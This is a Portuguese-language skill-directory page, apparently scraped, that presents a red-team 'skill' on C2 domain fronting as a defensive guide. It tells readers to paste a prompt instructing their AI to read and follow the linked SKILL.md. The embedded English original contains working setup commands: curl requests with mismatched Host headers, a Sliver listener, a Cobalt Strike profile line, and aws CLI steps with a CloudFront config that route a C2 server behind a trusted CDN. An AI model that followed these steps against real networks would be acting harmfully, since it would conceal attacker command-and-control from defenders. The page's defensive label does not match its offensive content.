Pular para o conteúdo
Skillpedia
Segurança6,5 mil · #14128

c2-domain-fronting

O que ela faz

Este guia descreve o domain fronting, um método em que o tráfego parece ir para uma CDN conhecida, mas é encaminhado para outro lugar. Ele é para defensores de rede que querem detectar esse padrão.

Quando usar

  • ✓Quando uma equipe de rede quer verificar se o tráfego para uma CDN tem nomes de host incompatíveis.
  • ✓Quando um exercício autorizado simula tráfego escondido em CDN para praticar a detecção.
  • ✓Quando uma equipe de segurança revisa se o proxy inspeciona o tráfego criptografado da CDN.

Link da skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md

Copie e cole na sua IA (Claude, ChatGPT ou Cursor) pedindo para seguir as instruções.

Como usar

O jeito mais fácil: copie a mensagem e cole na sua IA. Ela lê a skill e segue as instruções.

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Quer que a sua IA encontre skills como esta sozinha?Instale o MCP grátis do Skillpedia: uma linha, e ela pesquisa entre 15.000+ skills antes de cada tarefa.Instalar em 1 minuto →

Exemplo do que pedir para a IA

“Nosso proxy consegue identificar tráfego que diz ir para uma grande CDN, mas tem um nome de host incompatível? Por favor, me ajude a verificar.”

5 skills novas por semana. 1 minuto de leitura.

Como funciona

O agente revisa registros de proxy e de DNS em busca de nomes de servidor e cabeçalhos de host incompatíveis e sugere regras de detecção para essa diferença.

Conteúdo técnico (SKILL.md original)

Texto original do autor, em inglês, direto do GitHub.

Domain Fronting & CDN Abuse for C2

Domain fronting exploits the discrepancy between the TLS SNI field and the HTTP Host header when traffic passes through a CDN. The network-level observer sees a connection to a legitimate, high-reputation domain (e.g., cdn.microsoft.com) while the CDN routes the request to the operator's origin based on the inner Host header. This makes blocking the C2 equivalent to blocking the entire CDN.

Quick Reference

# Test domain fronting via CloudFront
curl -s -H "Host: <C2_DISTRIBUTION>.cloudfront.net" https://allowed.cloudfront.net/search

# Test Azure CDN fronting
curl -s -H "Host: <C2_ENDPOINT>.azureedge.net" https://ajax.aspnetcdn.com/test

# Sliver HTTPS listener with domain fronting
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>

# Cobalt Strike — set in Malleable C2 profile
# header "Host" "<C2_DISTRIBUTION>.cloudfront.net";

MITRE ATT&CK Mapping

Technique ID Usage in Skill
Proxy: Domain Fronting T1090.004 CDN-based SNI/Host header mismatch for C2
Web Service: Bidirectional Communication T1102.002 CDN edge as bidirectional C2 relay
Data Obfuscation T1001 C2 traffic disguised as CDN content requests

1. The Domain Fronting Technique

How It Works

┌─────────┐    TLS SNI: allowed.example.com    ┌──────────┐
│ Implant │ ─────────────────────────────────►  │   CDN    │
│         │    Host: c2.attacker.cloudfront.net  │  Edge    │
└─────────┘                                     └────┬─────┘
                                                     │ Routes by Host header
                                                     ▼
                                               ┌──────────┐
                                               │ C2 Origin│
                                               │  Server  │
                                               └──────────┘

TLS layer (visible to network monitor):

  • SNI = allowed.example.com (high-reputation domain on same CDN)
  • Certificate = CDN wildcard cert (e.g., *.cloudfront.net)
  • IP = CDN edge node

HTTP layer (inside TLS, invisible to monitor):

  • Host: c2-distribution.cloudfront.net → CDN routes to operator's origin

Result: Blocking the C2 requires blocking the entire CDN.

Requirements

  1. CDN that routes by Host header (not all do — see provider matrix)
  2. A legitimate high-reputation domain on the same CDN for the SNI
  3. Operator's C2 server registered as a CDN origin/backend
  4. The CDN must not enforce SNI == Host (many now do)

2. CloudFront Domain Fronting

Setup

# 1. Create CloudFront distribution pointing to C2 origin
aws cloudfront create-distribution \
  --origin-domain-name <C2_ORIGIN_IP_OR_DOMAIN> \
  --default-root-object index.html \
  --query 'Distribution.DomainName'
# Returns: d1234abcdef.cloudfront.net

# 2. Find a frontable domain (legitimate site on CloudFront)
# Use: dig <CANDIDATE_DOMAIN> — look for CNAME to *.cloudfront.net
dig allowed-domain.com CNAME +short
# Output: d9876xyz.cloudfront.net. → same CDN, usable as front

# 3. Test fronting
curl -v -H "Host: d1234abcdef.cloudfront.net" \
  https://allowed-domain.com/beacon

# Successful: HTTP 200 from your C2 origin
# Failed: HTTP 403 "The request could not be satisfied" — front domain not viable

CloudFront Configuration

# Create distribution via JSON config
cat > /workspace/c2/cloudfront-config.json << 'EOF'
{
  "CallerReference": "c2-$(date +%s)",
  "Origins": {
    "Items": [{
      "Id": "c2-origin",
      "DomainName": "<C2_ORIGIN>",
      "CustomOriginConfig": {
        "HTTPPort": 80,
        "HTTPSPort": 443,
        "OriginProtocolPolicy": "https-only"
      }
    }],
    "Quantity": 1
  },
  "DefaultCacheBehavior": {
    "TargetOriginId": "c2-origin",
    "ViewerProtocolPolicy": "https-only",
    "AllowedMethods": {
      "Items": ["GET", "HEAD", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
      "Quantity": 7
    },
    "ForwardedValues": {
      "QueryString": true,
      "Cookies": {"Forward": "all"},
      "Headers": {"Items": ["*"], "Quantity": 1}
    },
    "MinTTL": 0, "DefaultTTL": 0, "MaxTTL": 0
  },
  "Enabled": true,
  "Comment": ""
}
EOF

aws cloudfront create-distribution --distribution-config file:///workspace/c2/cloudfront-config.json

Current Status (CloudFront)

AWS partially mitigated domain fronting in 2018. CloudFront now validates that the Host header matches a con

Perguntas frequentes

O que é domain fronting?

É quando o nome do servidor visível é diferente do nome dentro da requisição, para que o tráfego seja roteado por uma CDN confiável.

Por que é difícil de bloquear?

Bloquear pode significar bloquear a CDN inteira, da qual muitos serviços dependem.

O que os defensores devem procurar?

Nomes de servidor e cabeçalhos de host incompatíveis em registros de tráfego criptografado.

Detalhes

Descrição original do autor

Domain fronting and CDN abuse for C2 concealment — CloudFront, Azure CDN, Fastly setup, TLS SNI vs Host header technique, CDN-based redirectors, and integration with Cobalt Strike and Sliver.

repo: BitterSecurity/Decepticon

Popularidade

Estrelas no GitHub
6,5 mil
Posição no ranking
#14128
Licença
Apache-2.0
Atualizada em
01/11/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas